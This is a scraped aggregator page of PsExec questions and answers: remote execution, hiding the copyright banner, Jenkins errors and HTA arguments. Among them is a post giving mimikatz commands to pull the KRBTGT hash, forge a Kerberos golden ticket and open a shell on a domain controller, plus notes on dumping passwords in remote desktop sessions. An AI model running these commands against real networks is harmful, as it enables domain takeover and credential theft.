psexec

How to run exe on remote PC using psexec

雨燕双飞 提交于 2021-02-08 12:19:44
问题 There is an exe (D:\TestFile.exe) in remote pc(SYSDES208). When run, it just creates a text file with some text. It works fine when run manually. I'm trying to execute this from another PC this way, in command prompt. D:\PsTools>cmdkey.exe /add:SYSDES208 /user:admin /pass:admin123 //Message - CMDKEY: Credential added successfully D:\PsTools>psexec \\SYSDES208 D:\TestFile.exe //Message - D:\TestFile.exe exited on SYSDES208 with error code 0. There is no error and also no text file created. The

PSexec copyright output

怎甘沉沦 提交于 2020-12-02 08:25:54
问题 Does anyone know, how to disable "copyright header" from appearing when running PSExec? Everutime I run "./psexec ..." command I see this message: PsExec v2.11 - Execute processes remotely Copyright (C) 2001-2014 Mark Russinovich Sysinternals - www.sysinternals.com It's really annoying and it bloats up output of my script. Thanks Matthew 回答1: There does not appear to be a way to disable it from occurring, but as a workaround you could redirect STDERR which will suppress the output, psexec \

PSexec copyright output

假如想象 提交于 2020-12-02 08:24:04
问题 Does anyone know, how to disable "copyright header" from appearing when running PSExec? Everutime I run "./psexec ..." command I see this message: PsExec v2.11 - Execute processes remotely Copyright (C) 2001-2014 Mark Russinovich Sysinternals - www.sysinternals.com It's really annoying and it bloats up output of my script. Thanks Matthew 回答1: There does not appear to be a way to disable it from occurring, but as a workaround you could redirect STDERR which will suppress the output, psexec \

黄金票据和白银票据获取域控权限

早过忘川 提交于 2020-04-06 02:01:40
黄金票据 前提条件 域名称 域的SID值 域的KRBTGT账户的 Hash NTLM 伪造的用户名(这里是 administrator ),可以是任意用户甚至是不存在的用户 利用 mimikatz的下载地址: https://github.com/gentilkiwi/mimikatz PsExec的下载地址: https://docs.microsoft.com/en-us/sysinternals/downloads/psexec ipconfig /all #获取域名(前提条件1) whoami /all #获取域SID值(前提条件2) lsadump::dcsync /domain: /*域名*/ /user:krbtgt #获取KRBTGT账户的 Hash NTLM(前提条件3) klist purge #删除票证 kerberos::golden /admin:administrator /domain: /*域名*/ /sid: /*SID*/ /krbtgt: /*Hash NTLM*/ /ptt #伪造票据(前提条件4) dir \\abc.test.com\c$ #查看域控的C盘目录(abc.test.com为域控全名) PsExec.exe \\abc.test.com cmd #使用PsExec获取一个cmdshell 白银票据 前提条件 域名称

pstools psexec mimikatz

只愿长相守 提交于 2020-02-29 19:39:44
Psexec原理 - oneVs1的专栏 - 博客频道 - CSDN.NET 在远程终端(3389、mstsc.exe)、虚拟桌面中抓取密码的方法: 通常你在远程终端中运行该程序会提示:存储空间不足,无法处理此命令。 这是因为在终端模式下,不能插入远线程,跨会话不能注入,你需要使用如下方法执行该程序: 首先提取几个文件,只抓取密码的话,只需要这几个文件: ? 1 2 3 mimikatz_trunk\tools\PsExec.exe mimikatz_trunk\Win32\mimikatz.exe mimikatz_trunk\Win32\sekurlsa.dll 打包后上传至目标服务器,然后解压释放,注意路径中绝对不能有中文(可以有空格)!否则加载DLL的时候会报错:找不到文件。 然后使用以下任何一种方法即可抓取密码: //最简单实用的方法,使用 PsExec.exe 启动。 //在系统帐户中运行 cmd.exe,或者直接运行 mimikatz.exe psexec -s cmd.exe //启动 mimikatz.exe 来源: https://www.cnblogs.com/SZLLQ2000/p/5069146.html

Using dcu-cli.exe to Install Dell Updates on Remote System

此生再无相见时 提交于 2020-02-22 05:25:19
问题 I found that I like the command line "Dell Command | Update" tool called dcu-cli.exe . I can run it in a remote session, run CMD as admin, pushd to the directory with it and its dependencies, and it runs great. But, but want to be able to do this with psexec.exe, since PowerShell remoting is disabled in the network for the time being. When I ran it with psexec.exe, I got: Unhandled Exception: J:\CommandUpdate>System.IO.IOException: The handle is invalid. at System.IO.__Error.WinIOError(Int32

Using psexec.exe in jenkins, handle is invalid

送分小仙女□ 提交于 2020-02-02 02:43:32
问题 I am using Jenkins on a Windows7 system. I would like to use it to execute a batch script on a remote Windows system. The batch script will be used to flash a development board and run some tests. I came across psexec.exe. That works well through a command prompt window--I can connect and run the script without any issues, but when I try to have Jenkins do it, I get the following output: PsExec v2.11 - Execute processes remotely Copyright (C) 2001-2014 Mark Russinovich Sysinternals - www

Using psexec.exe in jenkins, handle is invalid

删除回忆录丶 提交于 2020-02-02 02:43:09
问题 I am using Jenkins on a Windows7 system. I would like to use it to execute a batch script on a remote Windows system. The batch script will be used to flash a development board and run some tests. I came across psexec.exe. That works well through a command prompt window--I can connect and run the script without any issues, but when I try to have Jenkins do it, I get the following output: PsExec v2.11 - Execute processes remotely Copyright (C) 2001-2014 Mark Russinovich Sysinternals - www

Executing an HTA Application via PSEXEC with command line arguments

僤鯓⒐⒋嵵緔 提交于 2020-02-01 09:22:12
问题 I have an .hta application that accepts two command line arguments. Executing the application on the remote machine via command line works just like the following (command line - cmd)Example: C:\Users\<user>\Desktop>MSI-BUILDER.hta "MSI_APP" "D:\APP\15.9.98" But when using my desktop trying to execute the same command on the remote machine via PSEXEC I see the application running in task manager but nothing happens. The first steps were assigning the command line arguments to variables in